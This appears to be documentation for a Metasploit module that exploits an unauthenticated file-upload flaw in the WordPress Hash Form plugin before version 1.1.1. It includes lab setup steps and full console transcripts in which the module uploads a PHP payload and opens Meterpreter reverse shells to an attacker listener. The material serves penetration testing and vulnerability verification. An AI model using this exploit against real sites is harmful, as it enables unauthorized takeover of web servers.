## Vulnerable Application

This Metasploit module exploits a Remote Code Execution vulnerability in WordPress Hash Form
plugin, versions prior to 1.1.1.
The vulnerability is due to an unauthenticated file upload flaw in the plugin.
To replicate a vulnerable environment for testing:

1. Install WordPress.
2. Download and install the Hash Form plugin, ensuring the version is below 1.1.1.
3. Verify that the plugin is activated and accessible on the local network.
4. Create any form

## Verification Steps

1. Set up a WordPress instance with the Hash Form plugin (version < 1.1.1).
2. Launch `msfconsole` in your Metasploit framework.
3. Use the module: `use exploit/multi/http/wp_hash_form_rce`.
4. Set `RHOSTS` to the local IP address or hostname of the target.
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
6. Execute the exploit using the `run` or `exploit` command.
7. If the target is vulnerable, the module will execute the specified payload.

## Options

No option

## Scenarios

### Successful Exploitation Against Local WordPress with Hash Form 1.10

**Setup**:

- Local WordPress instance with Hash Form version 1.1.0.
- Metasploit Framework.

**Steps**:

1. Start `msfconsole`.
2. Load the module:
```
use exploit/multi/http/wp_hash_form_rce
```
3. Set `RHOSTS` to the local IP (e.g., 192.168.1.11).
4. Configure other necessary options (TARGETURI, SSL, etc.).
5. Launch the exploit:
```
exploit
```

**Expected Results**:

With `php/meterpreter/reverse_tcp`

```
msf6 > search wp_hash_form_rce

Matching Modules
================

   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ----                                   ---------------  ----       -----  -----------
   0  exploit/multi/http/wp_hash_form_rce    2024-05-23       excellent  Yes    WordPress Hash Form Plugin RCE
   1    \_ target: Automatic                 .                .          .      .
   2    \_ target: PHP In-Memory             .                .          .      .
   3    \_ target: Unix/Linux Command Shell  .                .          .      .
   4    \_ target: Windows Command Shell     .                .          .      .


Interact with a module by name or index. For example info 4, use 4 or use exploit/multi/http/wp_hash_form_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command Shell'

msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_hash_form_rce) > options

Module options (exploit/multi/http/wp_hash_form_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.36     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PHP In-Memory



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/wp_hash_form_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/wp_hash_form_rce) > set rport 8080
rport => 8080
msf6 exploit(multi/http/wp_hash_form_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.36:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Detected Hash Form plugin version: 1.1.0
[+] The target appears to be vulnerable.
[*] Attempting to retrieve nonce from the target...
[+] Nonce retrieved: c037ee0b47
[*] Uploading PHP payload using the retrieved nonce...
[+] PHP payload uploaded successfully to http://localhost:8080/wp-content/uploads/hashform/temp/zumchnzt.php
[*] Triggering the payload at http://localhost:8080/wp-content/uploads/hashform/temp/zumchnzt.php...
[*] Sending stage (39927 bytes) to 172.20.0.3
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.20.0.3:52596) at 2024-05-28 17:52:51 +0200

meterpreter > sysinfo 
Computer    : 92b664be9b0c
OS          : Linux 92b664be9b0c 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
Meterpreter : php/linux
```

With `cmd/linux/http/x64/meterpreter/reverse_tcp`:

```
msf6 exploit(multi/http/wp_hash_form_rce) > options

Module options (exploit/multi/http/wp_hash_form_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8080             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   VHOST                       no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      KtElgOyozC       no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       5555             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces
   LHOST               192.168.1.36     yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Unix/Linux Command Shell



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/wp_hash_form_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.36:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Detected Hash Form plugin version: 1.1.0
[+] The target appears to be vulnerable.
[*] Attempting to retrieve nonce from the target...
[+] Nonce retrieved: c037ee0b47
[*] Uploading PHP payload using the retrieved nonce...
[+] PHP payload uploaded successfully to http://localhost:8080/wp-content/uploads/hashform/temp/roeylnhj.php
[*] Triggering the payload at http://localhost:8080/wp-content/uploads/hashform/temp/roeylnhj.php...
[*] Sending stage (3045380 bytes) to 172.20.0.3
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.20.0.3:53478) at 2024-05-28 18:03:35 +0200

meterpreter > sysinfo
Computer     : 172.20.0.3
OS           : Debian 12.5 (Linux 5.15.0-91-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```

- The module attempts to retrieve a nonce from the local server.
- It then uploads and executes the payload.
- If successful, control over the local WordPress instance is gained, depending on the payload used.
